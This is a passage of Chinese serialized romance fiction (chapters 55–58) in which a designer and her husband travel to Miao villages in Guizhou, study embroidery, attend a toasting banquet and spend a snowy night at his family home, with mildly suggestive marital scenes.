这时,蔺之序也已经看到了她,他收起手机,叶瓷几步小跑过去,甚至忘了脚下不平整的石板路。 直到扑进他的怀抱里,被他身上熟悉的气息紧紧包裹住,她才真实地感觉到——他真的来了。 只是三天没有见面,思念比自己所以为的,要多得多。 叶瓷紧了紧圈住他腰身的手,他的怀抱温暖有力,驱散了山夜的寒意。 两人就这样抱了会儿,蔺之序低头,下颌轻轻蹭了蹭她的发顶,声音含笑意:“跑这么快,不怕摔着?” 叶瓷在他怀里抬起头,眼尾微弯,“不怕。” 蔺之序笑。 叶瓷:“你怎么这么快就到了?不是说明天吗?” “提前处理完了。”他言简意赅,然后抬手抚她的脸庞,“累不累?” 叶瓷笑:“还好。” 工作带来的疲惫在他出现的那一刻已经消散了大半。 说着话,叶瓷这才注意到他只身一人,连助理都没带,“你一个人?” “嗯。”蔺之序应了一声,揽着她的肩膀转身往酒店走。 “让他们都回去了,这几天只有我。” 叶瓷笑问,“意思就是,你的时间完全属于我了,对吗?” 蔺之序也笑,“对。” 进了房间,蔺之序脱下风衣搭在椅背上,眼睛打量着房间的环境。 传统的苗族吊脚楼结构,现代化的设施一应俱全,“环境不错。” 叶瓷笑了下,问他,“你以前住过吊脚楼吗?” 蔺之序摇摇头,“没有。” 其实不止吊脚楼,黔东南也是第一次来,“你呢?” 叶瓷:“很久以前和彭老师去湘西出差,住过那里的吊脚楼。” 蔺之序嗯一声,这时,叶瓷给他倒了杯温水:“长途跋涉,老公辛苦了。” 她喊的自然而然,蔺之序笑,伸手接过水杯,眼睛看她,“为你,值得。” 叶瓷又笑。 蔺之序喝过水,俯身放下杯子时,眼睛扫过矮榻,他注意到笔记本屏幕上暂停的视频画面。 叶瓷告诉他,这是摄制组这两天录制的素材。 蔺之序点点头。 镜头里,是她的一个侧影。 她站在一间古老的绣坊门口和绣娘交流针法,身上穿着烟粉色防风外套,拉链并未到顶,露出里面同色系的羊绒高领打底。 山间的风吹乱了她几缕头发,因为身姿高挑,即便是一身休闲装扮,也自有一股清冷出尘的气质。 蔺之序突然想起自己第一次看她的采访视频,那时候他还没见过她本人,她坐在镜头前,清冷如玉,抬手抚被风吹起的长发时,那种美,舒展又大气。 直到此刻,蔺之序才清晰地认识到一个事实,原来在第一眼看到叶瓷时,自己便已心动。 只是他向来理性,习惯将情绪放在逻辑后面,所以才迟迟没有正视自己的内心。 而如今,她是他的妻子,这个认知让蔺之序不自觉地弯了弯唇角。 “工作进展的顺利吗?”蔺之序问她。 叶瓷:“嗯,这里的刺绣技艺很精湛,很值得深挖。” 蔺之序笑了下,“很漂亮。” 叶瓷赞同,“这里的绣品纹样确实特别美。” 蔺之序偏过脸看她,“我是说,你工作的样子,很漂亮。” 叶瓷反应过来,脸颊因为羞涩忽然热了。 窗外是带着草木清香的夜色,繁星低垂,室内只留了一盏壁灯。 洗漱过,两人躺进床上,蔺之序的吻轻轻印在她的额前,接着缓缓流连,最后落至她唇上。 他动作极尽温柔,却又在情|潮即将升温前,停了下来。 他微微退开些许,额角仍与她相抵,“累了几天了,好好睡。” 叶瓷听出他声音里的暗哑,带着未褪尽的情动。 叶瓷懂他的用意,他身体的热度和某一处的紧绷早已泄露了他并非毫无念头,只是,被强大的自制力稳稳压住。 叶瓷感动他的这份贴心,她轻轻“嗯”了一声,人又往他怀里又靠紧了些。 她听到他的心跳,一声又一声。 叶瓷:“这里的星星真亮。” “嗯,”蔺之序应着,手一边轻抚着她的后背,“山区空气好,没有光污染。” 短暂的沉默弥漫,只有窗外偶尔掠过的山风,吹动树叶,发出沙沙轻响。 蔺之序:“告诉我实话,这几天累坏了吧?” 叶瓷:“还好,”她的声音闷在他的睡衣布料里,有些软糯,“就是走访的点多,山路绕得人有些晕。” 提到工作,叶瓷从他怀里抬起头,“今天去的那个寨子,有位姓潘的绣娘,她绣的百鸟图,针法很特别,跟我之前收集到的都不一样。” 她在他怀里,断断续续地说着这几日的见闻。 蔺之序安静地听着,偶尔在她停顿时回应一声。 直到感觉她意识有些含糊时,蔺之序收拢手臂,下颌轻贴她的发顶,“睡吧,明天不是还要早起?” 叶瓷:“嗯,你明天,有什么安排?” 蔺之序:“陪你。” 叶瓷笑,在这个时间仿佛都慢了下來的深山里,他剥离了所有身份与光环,唯一的行程,就是“陪她”。 这种感觉很奇妙。 酒店外,风停驻,万籁俱寂。 蔺之序维持着拥抱的姿势,就着昏暗的光线,垂眸看怀里的人,她已经睡着了。 第二天。 叶瓷被闹钟叫醒后,拥着被子坐了起来,卧室门外传来手指敲笔记本键盘的声音。 她披上睡袍,下床走到门口。 客厅里,蔺之序背对着她,坐在临窗的矮榻上。 他已经穿戴整齐,一件深灰色的专业级冲锋衣,拉链拉到锁骨下方,肩线平直。即使坐着,也能看出身姿的挺拔。 此时,他微微倾身,面前的笔记本屏幕上是密密麻麻的数据图表。 很显然,他已经工作了一会儿。 叶瓷看着他的背影,心中微动,接着,她放轻脚步走过去,从身后环抱住了他。 下巴搁在他坚实的肩窝里。 蔺之序敲键盘的手指一顿,他侧过头,脸颊便触到了她温热柔软的脸庞。 “醒了?” 他的声音带着清晨特有的微哑,低沉悦耳。 “嗯。”叶瓷应道,又问他,“你几点起床了?” 蔺之序笑了下,“今天晚了些,七点。” 叶瓷嗯一声,片刻,她仰头在他唇角印下一个吻。 蔺之序很受用地承接了这个吻,抬手覆上她环在自己身前的手,握了握。 两人相视一笑,叶瓷笑着说,“我要去洗漱咯。” 蔺之序:“好,我等你。” 酒店餐厅是半开放式的,视野开阔,可以远眺层叠的梯田和山峦。 早餐是当地特色的米粉,糯米饭和一些山野菜。 两人刚坐下不久,县文旅的几位职员就过来了,为首的吴冬是这次采风协调工作的主要负责人。 吴冬先跟叶瓷打了招呼,当看到她旁边的蔺之序时,“哎呀,蔺总?!真是您,我刚才远远看着就觉得眼熟。” 吴冬伸出手,蔺之序从容起身,与他握了握手,“吴股长,好久不见。” 吴冬笑,“是啊是啊,上次见您还是在省里的招商引资会上,您做的那个关于文旅融合发展的发言,真是让人印象深刻。” 吴冬话语间满是钦佩,“蔺总这次是来考察项目?” 蔺之序笑了下,目光转向一旁的叶瓷,“不是,我来陪我爱人。” 吴冬恍然大悟,对叶瓷笑道:“叶设计师,原来蔺总是您先生,真是郎才女貌,佳偶天成啊!” 叶瓷笑,“谢谢。” 用餐间隙,叶瓷告诉蔺之序,“今天要去拜访一位刺绣技艺非常了得的老人家,还要拍一些素材,你要不要一起去?还是在酒店等我?” 蔺之序没有犹豫,“我陪你去。” 第56章 第56章 再纵容我一次 早餐后, 一行人出发前往更深处的村寨。 山路蜿蜒,两旁是依山而建的吊脚楼,炊烟袅袅, 鸡犬相闻。 叶瓷和蔺之序并肩走在前面, 由于青石板小路湿滑, 蔺之序时不时地伸手扶她一下。 随行的工作人员,尤其是几个年轻的小姑娘, 目光总是不自觉地飘向蔺之序。 即使在这乡野环境里,他周身那股衿贵沉稳, 久居上位的气场依然迫人。 有人小声嘀咕:“叶设计师的老公好帅啊, 这身材比例,穿冲锋衣都像高定走秀, 也太顶了吧……” “而且你们发现没?他的注意力全程都在叶设计师身上, 刚才上那个小坡, 他伸手扶得多自然,这种下意识的照顾好戳人啊!” “对对对!我也注意到了!” “嘘, 小声点,别被听到了。” 他们今天要拜访的是年近八旬的龙奶奶,对方是附近村寨公认的刺绣泰斗。 龙奶奶的家是一座有些年头的吊脚楼, 堂屋宽敞,光线从木窗透进来, 照着她和老伴儿, 以及几个正在学艺的年轻姑娘。 叶瓷恭敬地说明来意,龙奶奶很和善,用带着浓重口音的普通话热情地招呼他们。 龙奶奶虽然年事已高,但眼神清亮,手指灵活, 她正在绣一幅巨大的“百鸟朝凤”图。 摄制组的镜头紧紧跟着对方的手部特写,叶瓷仔细观看针法,偶尔问两句,龙奶奶看她悟性很高,便主动提出教她一种独特的“破线绣”技法。 叶瓷笑,欣然应着,“麻烦您了。” 龙奶奶给她演示了一遍,然后让她坐在绣架前,递上针线。 这种技法需要将一根丝线破成更细的几缕,再用特制的针进行刺绣,对力度和精准度要求极高。 叶瓷深吸一口气,手腕悬空,指尖用力,小心翼翼地落下了第一针。 起初针脚还有些犹豫,不够流畅,但她很快就找到感觉,第二针、第三针……针脚逐渐变得均匀细密。 龙奶奶在一旁看着,不住地点头,“哎呀,了不得!姑娘,你这双手天生就是做细活的!这悟性,这手感,我教过那么多年轻人,你是头一个一上手就这么稳的!有天赋,真有天赋!” 叶瓷被夸得有些不好意思,抬起头,“是奶奶您教得好。” 摄制组的镜头捕捉着刺绣细节,也会偶尔不经意地扫过不远处,安静坐在长凳上的俊拔身影。 蔺之序和旁边的几个工作人员低声聊着天,目光不时望向绣架前的叶瓷。 一天的拍摄行程十分紧凑。 傍晚,吴股长做东,在寨子里一家颇具特色的农家乐安排了晚宴。 吴冬热情地介绍着苗族的生活习俗,才一天的功夫,他便像一位老友一样和每个人熟络的交谈。 大家拾级而上,餐馆门口列队站着满身银饰的苗家姑娘,手拿牛角酒具,一旁还有四个吹芦笙的小伙子。 还未进门,众人便被他们的热情感染了。 盛满米酒的酒具被整齐地摆在门口,吴冬向大家解释道:“喝了酒才能进去喔。” 入乡随俗,每个人都没有推辞,站在门外,爽快地一饮而尽。 餐厅里,两条能容纳二十人的长桌,上面摆满了当地美食:酸汤鱼、腊肉炒蕨粑、糯香排骨、血豆腐……香气四溢。 叶瓷和蔺之序自然被安排在主桌相邻的位置,落座,叶瓷揉了揉有些发酸的手腕。 蔺之序替她烫洗好碗筷,“饿吗?想吃什么?” 叶瓷笑,“有点饿,想吃点热的。” 山里的傍晚,气温下降得很快,来的路上,她就想喝口热汤了。 蔺之序闻言,看向桌上的菜式,快速判断哪些辣度适中,哪些更温和滋补,接着,他帮她盛了一小碗糯米饭,“先用这个垫垫。” “酸汤鱼是这里的特色,也可以尝尝。”蔺之序说着,很自然地用公筷为她夹了一块鲜嫩鱼肉,放进她菜碟里。 叶瓷吃着,侧头看他,“你今天就这么干坐了一天,会不会很无聊?” 她知道他对刺绣一窍不通,自己忙在工作里,时间过得没概念,可对他而言,一整天等下来,肯定很漫长。 蔺之序笑了下,“看你工作,不无聊。” 叶瓷也笑,“老公辛苦了。” 她喊得越来越自然,蔺之序笑,感觉很受用。 当大家正用餐时,身后的芦笙响起来了,紧接着,苗家少女们踏着欢快的旋律走过来,银饰闪亮作响,歌声悠扬清越,她们将米酒捧到众人面前。 摄制组和霓坊工作室几个被敬酒的小伙子,连忙礼貌起身接过。 这边,李栋喝完,刚要放下酒杯,姑娘们早已又为他斟满。 被敬酒,他本能地再次端起了杯子,没想到,刚喝过一口,身旁的姑娘们已经列队一排,六个酒壶向斜后方依次举起,一个高过一个,酒像淙淙的小溪层层叠叠,从高到低,缓缓流入他的酒杯里。 苗家人热情好客,强烈的仪式感引得大家鼓起掌来。 敬酒结束,吴冬递给李栋一杯温水,笑着问,“小伙子感觉怎么样?” 李栋喝了水,笑道,“苗家姑娘太热情了!” 吴冬又笑,“李总监放心,这是我们当地自家酿的米酒,度数不高。” 言毕,众人又都笑起来。 这边,大家正围着关心李栋,芦笙又响起来了。 姑娘们的目标锁定在了气质最为出众的蔺之序身上,她们笑着举杯,所有人的目光都聚焦过来了。 叶瓷站在人群里,看到蔺之序站起身,对着敬酒的姑娘们礼貌颔首。 歌声响起,蔺之序一手负后,一手拿着递来的酒杯,仰头,喉结滚动,从容不迫地将米酒一饮而尽。 旁边的姑娘依次举起酒壶,瀑布般的高山流水再次上演。 一行人回到下榻的酒店时,已是星斗满天。 在大厅里,叶瓷回头问李栋感觉怎么样了,李栋笑道,“我没事,谢叶总关心。” 叶瓷点点头,对着众人,“今天辛苦了,大家都早点休息。” 各自告别后,叶瓷和蔺之序一起回房间。 蔺之序虽然步履稳健,神情自若,但叶瓷还是察觉到了他的微醺。 叶瓷挽住他的手臂,“你现在感觉怎么样?” 蔺之序笑了下,“还好。” 来到房间,蔺之序拿起睡衣,“酒气不好闻,我先去洗漱一下。” 叶瓷点点头,“好,需要我帮忙拿东西的话,直接喊我,我就在外面。” 蔺之序笑,“嗯。” 浴室门合上,叶瓷在单人沙发里坐下。 今天是她第三次见蔺之序沾酒。 第一次是婚前,两家家长正式会面那天,席上,他作为叶家的准女婿,敬酒回敬,自是礼数周全。 也就是在那天,她发现他的酒量并不像他本人那样深不可测。 另一次,便是他们婚礼当天,喝得不算多,连微醺都没有。 可今晚那满满一碗酒,对他而言,绝对是超量的。 蔺之序从浴室出来,叶瓷递给他一杯温水。 “其实,刚才在席上被敬酒时,你可以拒绝的。或者,像最开始那样,用个小杯意思一下就好。” 蔺之序放下水杯,偏过头看她,因为微醺,他素日里过于沉静的眼眸像蒙了层水雾,“这是礼节。” “他们对你的工作很支持,这份情谊,值得我喝那一碗酒。” 他说的平静,叶瓷的心突然软了一下,他不单单是为了顾全主家的面子,更是为她撑足场面。 浴室水雾弥漫。 当叶瓷洗漱过出来时,蔺之序正站在卧室窗边接电话。 叶瓷听出是工作上的内容,没打扰他,自己先上了床。 打开与摄制组临时建的工作群,她看了明天的工作安排,导演和任薇还在群里交流拍摄内容,叶瓷正看着,那边,蔺之序已经收了电话。 见他过来,叶瓷锁屏,将手机放在一边。 蔺之序在她旁边坐下,叶瓷自然偎过去,“公司那边忙的话,你不用一直在这里陪我,还剩两天,我们在这边的工作就结束了。” 蔺之序想了下,“好,我明天下午回京北。” 叶瓷点点头。 默了片刻,“叶瓷。”他唤她。 “嗯?” 蔺之序:“今天看你刺绣的样子,很迷人。” 叶瓷笑,“是吗?” “当然。” 蔺之序说着,牵起她的手,指腹轻轻描摹她的纤细指节,“我的老婆,怎么能这么好看,又能干。” 叶瓷笑着,“谢老公夸奖。” 蔺之序也笑,视线没有从她脸上移开半毫,“怎么谢?” 叶瓷当真去思考他的问题时,就看见他一双眸子黑如曜石,里面的某种意味鲜明的情愫已经浓得化不开。 这时,他贴上她的耳廓,气息灼热,“所以……老婆,你要怎么谢我?” 叶瓷脸颊腾地一热。 蔺之序没等她的回答,就低头吻了上来。 “老婆,”他在换气的间隙,用气声在她耳边低语,带着诱哄,“让我好好尝一尝。” 裙角皱起涟漪,室内热度陡然攀升。 他张口吻上粉嫩唇瓣,感受那不可思议的柔软,舌尖轻轻探寻,很快,清透甜汁就像初春融化的溪水。 蔺之序兴致极高,浅尝或啜饮,叶瓷被他扣紧手指,直到眼尾沁出生理性的泪珠。 蔺之序这才抬头,起身将人捞进怀里。 他远没有尽兴,意乱情迷间,叶瓷忽然想起来,她微偏开头,气息有些不稳:“等等……” 蔺之序动作顿住,这时,叶瓷稳了稳呼吸,“我行李箱里准备了……那个。” 她没明说,蔺之序懂了。 他松开她,长腿下床,走到行李箱旁边,很快,他就拿着一个小盒子过来了。 拆开前,蔺之序看了眼包装上的规格,“型号很合适。” 闻言,叶瓷的脸彻底红了。 蔺之序的尺寸,她最清楚不过。 叶瓷买这个的念头是那天中途在县城等待转车时才有的。 一家连锁药房里,当拿到熟悉的牌子时,她又发现型号小了,于是强作镇定,问店员有没有大一号的。 店员:“有,稍等下。” 当叶瓷扫码付过钱,从药店出来时,脸都热了。 “老婆很贴心。”蔺之序咬着她的耳垂,低声喃道。 山间的夜格外安静,窗外月光悄悄挪移,透过木窗的缝隙,洒下一地银辉。 “还受的住吗?”蔺之序圈住她,低声在她耳边,“再纵容我一次……” 第57章 第57章 我们有一辈子时间慢慢了解…… 临近元旦, “风之语”线下门店开业被提上了日程。 会议室里。 李栋站在投影前,“‘风之语’系列的首批成衣,昨天已完成质检, 这是详细的质检报告, 包括缝线强度, 色牢度,尺寸公差等具体数据。” “目前首批三千件已打包完毕, 今天下午发往沪城旗舰店仓库。剩下的,按计划后天发出。” 叶瓷快速浏览着平板上的报告, “A厂的品控一直很稳定, 这次也没让人失望。李总监,重点盯一下运输环节, 尤其是沪城那边最近湿度大, 防潮措施一定要到位。” 李栋:“明白。” 叶瓷又看向任薇, “你们那边进度如何?” 任薇:“店内硬装已全部完工,软装和道具本周进场, 这是现场照片和最终效果图。” 她将平板屏幕转向叶瓷,“开幕仪式暂定28号,邀请函初稿和媒体名单已发您邮箱。” 叶瓷看着效果图, “代言人呢?” 任薇:“江晏,推广已经拍好了。” 叶瓷点点头, 片刻, “散会。” 众人鱼贯而出。 回到办公室,叶瓷在咖啡机旁,慢条斯理地给自己现磨了一杯黑咖啡。 刚端起杯子抿了一口,门被轻轻敲响。 “请进。” 小于提着一个造型精巧的白色保温食盒走了进来,“总监, 蔺家司机送来的。” 叶瓷:“人呢?” 小于:“刚走了。” 叶瓷放下咖啡杯,打开食盒盖子,很丰盛的午餐。 她拿起里面单独存放的小碟和汤匙,还没动手,又放下了,接着,她拿出手机,对着午餐拍了一张照片,发给了汤静娴。 叶瓷:【妈,谢谢您投喂的午餐,刚收到,费心了。[图片]】 信息几乎秒回: 【小瓷喜欢就好!天冷了,你工作又忙,要好好补补。别学蔺之序那个工作机器,该休息就休息,身体最重要。】 后面还跟了一个微笑的表情。 叶瓷:【嗯,谢谢妈。】 开始用餐,叶瓷看了眼手机日历,她和蔺之序已经有好些日子没回老宅了。 想到这里,她点开与蔺之序的聊天框。 叶瓷:【今晚有空吗?我们一起想回老宅吃饭?】 大概等了十来分钟,蔺之序回复,【好。】 —— 黑色幻影碾过薄雪停在蔺家老宅门前时,蔺念一正在门廊下等着。 她怀里抱着刚从温室剪下来的粉色郁金香,看见车门打开,“嫂子!”蔺念一三步并作两步冲下台阶,“我特意挑的,花房新开的。” 叶瓷刚下车就被塞了满怀冷香,手指无意间碰到念一冰凉的手背:“怎么不在屋里等?”说着,她摘下自己的羊绒围巾给小姑娘裹上。 “妈说你们该到了。” 念一笑着,挽住叶瓷的胳膊往庭院里走。 餐厅里灯火通明,长桌上摆满了家宴菜肴。 蔺建昆和汤静娴已经在主位落座,见到他们进来,汤静娴忙招呼,“小瓷快坐快坐。” “念一,别缠着你嫂子了。” “妈,我才没有。”念一嘟囔着,却还是乖巧地松开叶瓷的手,在她旁边的位置坐下。 叶瓷笑着,抬手捏了捏她肉肉的脸颊。 这时,汤静娴拿起公筷,给念一和叶瓷布菜,“小瓷,店内装修进展还顺利吧?” 叶瓷接过汤碗:“嗯,本周差不多就装好了。” 汤静娴:“什么时候开业?” 叶瓷:“到月底了,28号。” 念一笑着插话:“我同学买了嫂子设计的星空裙,上周慈善晚宴穿了,可漂亮了,微博热搜第三呢!” 说着,她掏出手机划拉两下,“评论区都在问品牌。” “是吗?” 叶瓷停下筷子,这事儿她倒没听说。 念一带着与有荣焉的语气,“当然是真的了!”她把手机递给叶瓷,“嫂子你看。” 叶瓷看了几眼,笑了下,“还真是。” 念一骄傲,“我同学还说,下次要带她妈妈一起去霓坊定制礼服呢。” 叶瓷笑,“好啊,热烈欢迎。” 蔺之序安静地用餐,偶尔给叶瓷夹一筷子她喜欢的菜。 汤静娴也夹了块鲟鱼籽豆腐放到叶瓷碟里:“媒体名单定了吗?” 叶瓷:“定了。” 汤静娴点点头,笑道,“祝贺我们小瓷哦!” 叶瓷也笑,“谢谢妈。” 餐后甜品是燕窝炖梨,念一挖了两勺就离席回房间了。 蔺建昆起身推开露台门,外面积雪很厚,他回头问:“雪这么大,路滑,你们两个要不今晚住下?” 蔺之序看向叶瓷,两人对视,叶瓷说,“好。” 汤静娴立刻吩咐佣人更换床品,转脸又问,“小瓷喜欢什么味道的香氛?” 叶瓷不想麻烦,加上本也不是挑剔的人,于是说,“都可以。” 这时,蔺之序补充了句,“那就还用原来的檀木吧。” 汤静娴笑,“好。” 穿过连接主宅与东厢的回廊,风雪声被隔绝在外。 蔺之序牵着叶瓷的手,推开门,“这是我以前住的房间。” 房间宽敞明亮,延续着蔺家整体的低调质感,深色的实木地板,落地窗外是覆雪的庭院。 靠墙是整面顶天立地的书架,塞满了各种各样的书籍,从厚重的经济学,法学大部头,到明显有些年头的《时间简史》《万物简史》等科普读物。 书桌是厚重的胡桃木,桌角摆放着一个略显陈旧的航天飞机模型,旁边还有几个相框摆台。 叶瓷走近,拿起其中一个,是蔺之序在剑桥的毕业照。 照片里,他穿着校服,手持卷轴,神情虽然青涩,但眼神里的专注和现在如出一辙。 另一张是他少年时期,穿着击剑服,手持花剑的抓拍。 那个时候的他,从静态的照片里也能看出锋芒毕露。 这与她所熟知的沉稳持重的蔺之序,似乎有些不同。 叶瓷凝视着照片,手指不自觉地描摹着少年蔺之序手持花剑的轮廓。 温热的呼吸突然拂过耳际,叶瓷侧过脸,正对上蔺之序的目光,近在咫尺。 “你学过多久击剑?”她轻声问。 蔺之序直起身,修长手指解开衬衫最上方的纽扣,“八年,从十岁到去剑桥前。” “当时教练说我有天赋,”他低笑了声,“可是爸认为商科更实用。” “你呢?”叶瓷望进他眼底,灯光在他眉骨投下浅淡的阴影。“你喜欢吗?” “无所谓喜不喜欢。”他说。 因为叶瓷这么一问,蔺之序一下想起了许多。 他想起清晨五点的训练馆,金属剑刃破空的锐响,还有汗水浸透的击剑服紧贴后背的粘腻感。 蔺之序看着叶瓷的侧脸,突然惊觉自己平淡如水的生活里,因为有了叶瓷,才有了这么多热烈欢喜的感知。 叶瓷放下手里的相框,仰头看他,“蔺之序,我对你的了解太少了。” 蔺之序笑,“没关系,我们有一辈子时间慢慢了解。” 叶瓷点点头,笑,“嗯。” 蔺之序走到书桌前打开了笔记本电脑:“你先休息,我处理几封邮件。” 叶瓷:“好。” 蔺之序投入工作后,她在房间又转了会儿,然后进浴室洗漱。 换上舒适的居家服,叶瓷躺进床上,床没有婚房的宽,是蔺之序以前躺的床。 床垫稍硬,却意外地贴合腰线。 她躺了会儿,没什么睡意,索性坐起来,顺手拿了靠枕垫着,打开手机找了个电影看起来。 剧情不是很吸引人,但又懒得再换,看了半个小时,她下床,想看看雪停没有。 窗帘打开,雪已经小了许多。 她伸手将窗户推开一点缝隙,清冷的空气瞬间涌入,带着一股幽冷又沁人心脾的甜香。 “好香。”她望着庭院寻找。 原来是一株梅树。 风雪中,梅树枝头缀满了点点深红的花朵,在雪光下,美得惊心动魄。 蔺之序不知何时已处理完工作,走到她身后,双臂自然地环住她的腰,一同望向窗外。 叶瓷在他怀里偏过脸,“好漂亮是不是?” 蔺之序垂眸,“嗯,是那棵梅树。上次你来的时候,它还没开花。” 叶瓷想起来,他说的上次,是她第一次来蔺家给他庆生那天,当时,两人站在外面,叶瓷远远地看了一眼梅树。 “它长在这里好几年了吧?” 看树桩,是棵老树。 蔺之序笑,“是我种的。” 叶瓷:“你种的?” “嗯,十四岁的时候。”蔺之序的声音带着笑意,“那时候还没你高,挖坑都挖不动,是园艺师傅帮了忙。” 说着,他收紧手臂,将她更密实地扣入怀里,“没想到现在能长这么好,还能……让我太太闻到它的花香。” 不是什么让人脸红心跳的情话,可听在叶瓷耳里,还是很诱人。 说到情话,叶瓷努力回想,蔺之序平日里并不是个会甜言蜜语的人。 除了在黔东南出差那次,他喝了酒,情到深处时,对她又哄又诱。 叶瓷靠在他怀里,听着他的心跳,窗外的风雪渐渐成了遥远的背景音。 后来,蔺之序打横抱起她。 熟能生巧,蔺之序越来越懂她。 在他不间断地要将她拆吃入腹的情动里,叶瓷轻颤,手指陷入他浓密的黑发。 窗外风雪依旧,窗内暖意交融。 蔺之序的手探向床头柜抽屉,还未打开,他突然想起,这里不是婚房,床头柜里也没有他要用的盒子。 叶瓷脸颊贴着他,“蔺之序……小宝宝也很可爱呀。” 蔺之序手上的动作骤然顿住。 他低头,只见她清亮的眸子里满是认真。 就在这时,叶瓷两手圈住他的脖子,没任何预兆,她突然凑上去咬了下他敏感的喉结。 稍稍离开,她的气息像火星子,“蔺宅那么大,还有苏园,宝宝在里面玩,自由自在的,多好。” 蔺之序听着她的话,数秒,他吻了吻她的额头,“但是叶瓷,我要你知道,我是一切都以你的想法为主的,我不想你有任何压力,或者觉得生孩子是‘必须’。” 叶瓷听着他的话,心尖软得一塌糊涂。她主动吻了吻他的唇角,“我知道,我也很期待。我们顺其自然,好不好?” 蔺之序重新拥紧她,“好。” 第58章 第58章 “就一次” 雪下了一夜。 院中那棵梅树被松软白雪覆盖, 枝条偶尔不堪重负,“扑簌”一声,洒下一小团晶莹的雾。 叶瓷洗漱过, 来到窗边。 外面, 雪粒子仍零星飘着。 听到身后动静, 她回头,蔺之序正回手合门。 他穿着一身黑色运动服, 额发微湿,颈间还带着运动后的薄汗, 整个人像一株吸饱了晨露的冷杉。 叶瓷:“雪天也晨跑吗?” 蔺之序笑, “习惯了。”说着,他朝她走来, “睡得好吗?” “嗯。” 叶瓷笑了下, 本能地就朝他伸出手臂, 想要一个拥抱。 蔺之序指了指自己汗湿的领口,“等等, 刚跑完步,有汗,等我冲一下。” 叶瓷笑, “好吧。” 早餐送来了。 汤静娴笑着问,“住在这里适应吗?睡得好吗?” 叶瓷点点头, 笑道, “很安静,睡得还不错。” 汤静娴又笑,“那就好,以后得闲,可以和之序多回来住住。” 叶瓷:“嗯。” 汤静娴走后, 叶瓷拉开椅子坐下,餐桌是已经布好的早餐。 牛奶,刚烤好的全麦面包,水煮蛋,还有几样清爽的时蔬小菜。 蔺之序还没出来,叶瓷边等他,拿起手机,浏览着今日的工作安排:上午十点与版师确认客户礼服的最终版型,下午两点要见一个独立设计师品牌的主理人谈联名。 正看着,身边光线一暗。 蔺之序已经换好衣服出来,他来到她旁边,人没有立刻坐下。 叶瓷疑惑抬头:“怎么了?” 蔺之序垂眸,眼底带笑,“你说要抱抱的。” 说着,他张开手臂,好整以暇地等着她,“现在可以了。” 叶瓷愣了一下,反应过来他指的是刚才被打断的拥抱,人又笑起来。 她放下手机,刚站稳,蔺之序已经稳稳地将她圈住。 叶瓷的脸颊贴在他的羊绒衫上,过了差不多一分钟,她仰起脸,下巴抵住他胸口,笑问:“老公,可以了吗?” 蔺之序低头,他没有回答“可以”或“不可以”,只是俯首在她额头印了下。 “好了。” 终于,他笑道。 两人正用着餐,念一敲门进来了。 叶瓷看见她羽绒服上还沾着雪花,“外面又在下雪了吗?” 她起床时看见雪几乎停了。 念一笑,“嗯,好大的雪,学校刚发的通知,今天停课。” 叶瓷嗯一声,问她,“吃过早饭了吗?坐下和我们一起用吧?” 念一笑着摆手,“我刚吃过了。” 叶瓷没再和她客气,继续用餐,这时,蔺之序伸手试了试杯壁,“稍等,我再给你热一下。” 他起身去小厨房加热牛奶时,念一笑着坐到叶瓷旁边,“嫂子,听说,你们的风之语选了江晏做代言人?是真的吗?” 叶瓷笑,“对,大概这两天就官宣了。” 看着追星少女一脸迷妹模样,叶瓷告诉她,“开业当天,他会出席,到时候你和溦溦一起来现场。” 念一激动,“谢谢嫂子!” 蔺之序走过来,听见餐桌上的笑声,“聊什么呢?” 念一仍兴奋着:“江晏是风之语的代言人,马上就官宣咯!” 蔺之序闻言,没动声色,他把牛奶放到叶瓷手边,“热好了。” 叶瓷笑,“谢谢老公。” 蔺之序落座,“使馆区多条主干道封路,气象台刚又发布了暴雪橙色预警,你今天别去工作室了,路上不安全。” 工作室距离这边不算近,这样的天气强行出门确实不明智,叶瓷点头,“好。” 应过,她问蔺之序,“你呢?” 蔺之序:“我今天也在家。” 念一见状,“那正好!听季叔说花房里的‘绿云’开了,嫂子,我们去看看?顺便你教教我插花好不好?” 叶瓷笑,“好呀。” 院里的雪已被细心扫出数条小路,空气清冽干净。 花房在西厢,进来后,念一直奔温控花架上的那几株兰花,“嫂子你看,这绿云开得好漂亮!” 叶瓷走过去,‘绿云’花瓣嫩绿,形态飘逸,正像一朵绿色的云彩。 “嗯,漂亮。” 花房有专门用来插花的案几,工具齐全。 叶瓷和念一开始挑选花材时,蔺之序没有参与,他靠在花架旁,拿着手机处理些简单信息。 插花进行到一半,他的手机响了,工作电话。 他走到花房外相对安静的连廊接听。 片刻后,他返回,叶瓷正在案几旁剪枝,他来到她旁边,“有个紧急视频会议,我回书房处理一下。” 叶瓷点头:“好,我们这边也快结束了。” 蔺之序离开后不久,念一的作品完成了。 “哇,好好看!嫂子你真厉害!” 虬枝寒梅为主角,辅以几片龟背竹叶和白色小苍兰,很经典的冬日插花。 念一拿着手机拍照,“我要让妈看看。” 叶瓷无事,又另选了几枝梅花,简单包扎成一束,抱着它出了花房。 雪比来时更密、更急。 蔺宅很大,叶瓷循着记忆,中间又绕了两段路,才回到熟悉的院落。 书房的门紧闭着,里面隐约传来蔺之序主持会议的低沉声音。 叶瓷没有打扰,她将梅花插进卧室的一个天青釉瓶里。 雪光映进,室内明亮。 叶瓷站着观赏了会儿瓶里的梅花,找好角度拍了几张照片。 闲来无事,她从包里拿出平板和触控笔,找了几张动态素描的样图做参考,正画着,书房的门从里面打开了。 “忙完了?”叶瓷抬头看他。 蔺之序:“嗯,暂时告一段落。” 他走到她身边,顺着她的目光看向电脑屏幕,“画素描?” 叶瓷笑,“嗯,好久没练动态素描了。” 蔺之序点点头,然后问她,“要喝咖啡吗?” 叶瓷想了下,“来一杯吧。” 蔺之序转身去煮咖啡,叶瓷手里的触控笔停了停,视线无意识地追着他的挺拔背影。 白衬衣质地精良,与深色西裤形成经典搭配,因为刚结束工作,他身上掌控一切的沉稳气场中,添了几分松弛。 他的动作不疾不徐,磨豆,压粉,扣上手柄,一套流程下来,肩膀和手臂肌肉线条在衬衣下舒展又收紧。 注水冲泡时,他微微倾身,喉结的轮廓在光影里清晰了一瞬。 叶瓷突然觉得整个空间都因为他而变得沉静。 咖啡香气缓缓弥漫。 接过他递来的骨瓷杯,叶瓷唤了声他的名字。 蔺之序笑,“怎么了?” 她平日大多时候都是直接喊他名字,偶尔会称呼老公,不管是哪个,蔺之序都很喜欢。 叶瓷看他,大概是刚才望他的背影有感而发,“帮我个忙?” 蔺之序挑眉,有些意外:“什么忙?” 叶瓷笑,“做我的模特,就现在好吗,我想练习动态素描。” 